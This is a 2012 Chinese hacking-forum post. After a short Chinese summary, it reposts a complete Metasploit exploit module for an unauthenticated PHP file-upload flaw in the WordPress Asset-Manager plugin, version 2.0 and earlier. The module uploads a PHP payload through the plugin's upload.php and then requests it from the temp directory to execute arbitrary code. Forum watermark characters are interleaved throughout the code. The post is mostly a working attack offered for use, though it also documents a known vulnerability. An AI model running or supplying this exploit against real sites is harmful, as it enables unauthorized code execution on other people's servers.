找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2064|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
' X+ p' @1 R8 o) U! P: d5 w4 @' J+ @4 |9 A0 z
##
0 x2 e0 k7 w" _/ I. X9 k) I' K# This file is part of the Metasploit Framework and may be subject to
5 r( g# X8 j8 L, @# W# redistribution and commercial restrictions. Please see the Metasploit
  v$ P# z2 K% o1 p4 N& J# Framework web site for more information on licensing and terms of use.
. t/ n' r. z. B  N#   http://metasploit.com/framework/2 ]- X2 i7 C- R! |6 o
##
. M) k% j; Y$ O2 q
3 v5 S. O5 h0 rrequire 'msf/core'
% ^0 _6 w6 Q& srequire 'msf/core/exploit/php_exe') b6 J' I& ^1 o7 b7 m3 f
: N3 [. F, \+ n# I. C
class Metasploit3 < Msf::Exploit::Remote
7 a0 Y8 Y' F/ |( z& S. d$ k% g8 E" Z/ B  Rank = ExcellentRanking% y7 e/ J2 S5 M( D. Y
& b% u7 q6 g3 L  o% ?
  include Msf::Exploit::Remote::HttpClient3 [5 G. P* G8 e5 C( u
  include Msf::Exploit:hpEXE
( s, ?% n7 b; M
% r& q1 M4 i  u( `  def initialize(info = {})& z2 z: F: \- P6 o
    super(update_info(info,9 }0 g' ^) B; c# a: L* u
      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',& ?  o  A4 U- n) s
      'Description'    => %q{
( O9 }- n$ F) v. l        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress
! D2 {) W! N2 _# P        plugin.  By abusing the upload.php file, a malicious user can upload a file to a) j% A  ~$ {4 b6 y" n
        temp directory without authentication, which results in arbitrary code execution.& ]+ Z3 z3 C1 s# z3 S- q* s
      },
3 r/ c( u) I2 e1 \      'Author'         =>
) o' ]" G$ |$ a# d  p0 k, d& j1 `        [$ O! r1 {9 O* L/ ~* ^
          'Sammy FORGIT', # initial discovery
0 d! G5 F+ `& K, u2 S1 i  U          'James Fitts <fitts.james[at]gmail.com>' # metasploit module
5 n( k0 C3 q9 Q        ],
" q% F4 U& W8 o2 K4 [2 o7 h. R      'License'        => MSF_LICENSE,
- w% f2 y1 e8 ?& c; C3 G      'References'     =>
' q$ e' r( T- y7 g; B        [
! r1 ^( m1 X0 t7 r: S1 F4 g! k$ w          [ 'OSVDB', '82653' ],. }) b2 g) F( N+ D/ s9 e
          [ 'BID', '53809' ],
# R( j0 g& u) c) `, t; a/ A          [ 'EDB', '18993' ],
1 P  u, ~7 W5 E          [ 'URL', 'http:// www.myhack58.com /' ]' y4 @, a/ u6 J
        ],
- v# D: p7 C# z      'Payload'       =>
7 H8 _9 H  H* ~        {
8 W+ {$ I7 k* w+ f8 _          'BadChars' => "\x00",9 M  `) `8 W6 X7 q' y0 p
        },1 V; Z0 i% O. Z( K7 t; J& K! A# v
      'Platform'       => 'php',
' L+ K" m, J5 c% X7 Q      'Arch'           => ARCH_PHP,
: l% M; p; c1 D# g0 k1 y      'Targets'        =>
7 R) t' }1 _4 o: ?' j0 E        [
8 \  ?  C9 c& |          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],3 L$ c7 b# g. L; P2 H# e
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
4 W7 s; _5 {  w, I7 u3 b3 Z! c        ],
5 P/ u4 c; H" b9 k3 J      'DefaultTarget' => 0,* F0 C# Z: Q, {7 n6 x& c: E0 ^: ~
      'DisclosureDate' => 'May 26 2012')): a% P3 i6 Y) B/ m8 L) b* U0 @
) {1 v9 W6 i# K4 i$ Y1 T2 k
    register_options(
% e4 i' j9 `. X3 m      [
/ T6 D' f2 Q0 n. B5 a. O        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])* [; Q! s: x9 ^: F1 e3 e
      ], self.class)
. ^* l4 {- F% h0 x$ W6 A  R  end
8 K- ?% B" U! n* g: I' ` ' m+ R2 r$ }" C' `
  def exploit
/ M$ A* l2 p6 e, ?% c/ x5 @# `    uri =  target_uri.path2 A7 z8 ?. h1 _5 J% j! H7 q* }/ s6 N
    uri << '/' if uri[-1,1] != '/'
2 z5 `9 _6 l1 Z$ d7 w0 \* N    peer = "#{rhost}:#{rport}"( G4 f  n: \4 ~9 _
    payload_name = "#{rand_text_alpha(5)}.php"
7 E/ [8 F' W( m8 S! J    php_payload = get_write_exec_payload(:unlink_self=>true)/ N, A' C8 S) ^; d

" C/ l; A) e+ r6 w% E7 A    data = Rex::MIME::Message.new( x0 \6 V- c! [: g+ |
    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
9 E% a1 V& l" M9 m    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')6 R# g3 D# k5 \6 ]1 O# v5 c

" J  z. D% |; z  W# E( e    print_status("#{peer} - Uploading payload #{payload_name}")
" r/ {& w. m% K1 U, K' p' B    res = send_request_cgi({
  @: {* Q9 \/ v6 _/ _  F5 m      'method'  => 'POST',- V. a4 ]3 |+ K3 H' w. k. S
      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",
  w4 Q7 X# v: g6 P4 R! G$ ^      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
: c1 R6 n* A$ x' H5 c' Q" y      'data'    => post_data
, ]( @# R9 t: X; W  y    })
# Y+ w5 [& d2 P8 ^. g& e6 ]+ N 8 o+ ?  h1 ]# K: \7 S2 f: Y; L
    if not res or res.code != 200 or res.body !~ /#{payload_name}/
8 [/ {3 `( f  M/ o      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")% z( m. b6 [; z0 N8 S
end
! [7 x% k2 P. F1 [! E. P
" j# ?1 L3 n- E7 z0 T$ ?5 N    print_status("#{peer} - Executing payload #{payload_name}")
1 T: u) G5 G, |. Y" }# @7 Q7 n& T    res = send_request_raw({3 `$ d  x' k1 }  m" }
      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
1 A5 @$ l3 ~& K+ N3 K" X      'method'  => 'GET'8 x; H, ^$ Q9 N
    })
9 I1 b. z1 t) M, M3 G % R8 L& D. c9 p6 l4 u
    if res and res.code != 200
  a5 G3 x. X, S, W9 t/ Z      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
2 T' ]) R" G- I& K( U    end+ M- W+ f& G4 j* r8 B
  end9 a  |/ j" y: ~3 J' q
end2 O# f4 T" S7 ~& \, x7 b, c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表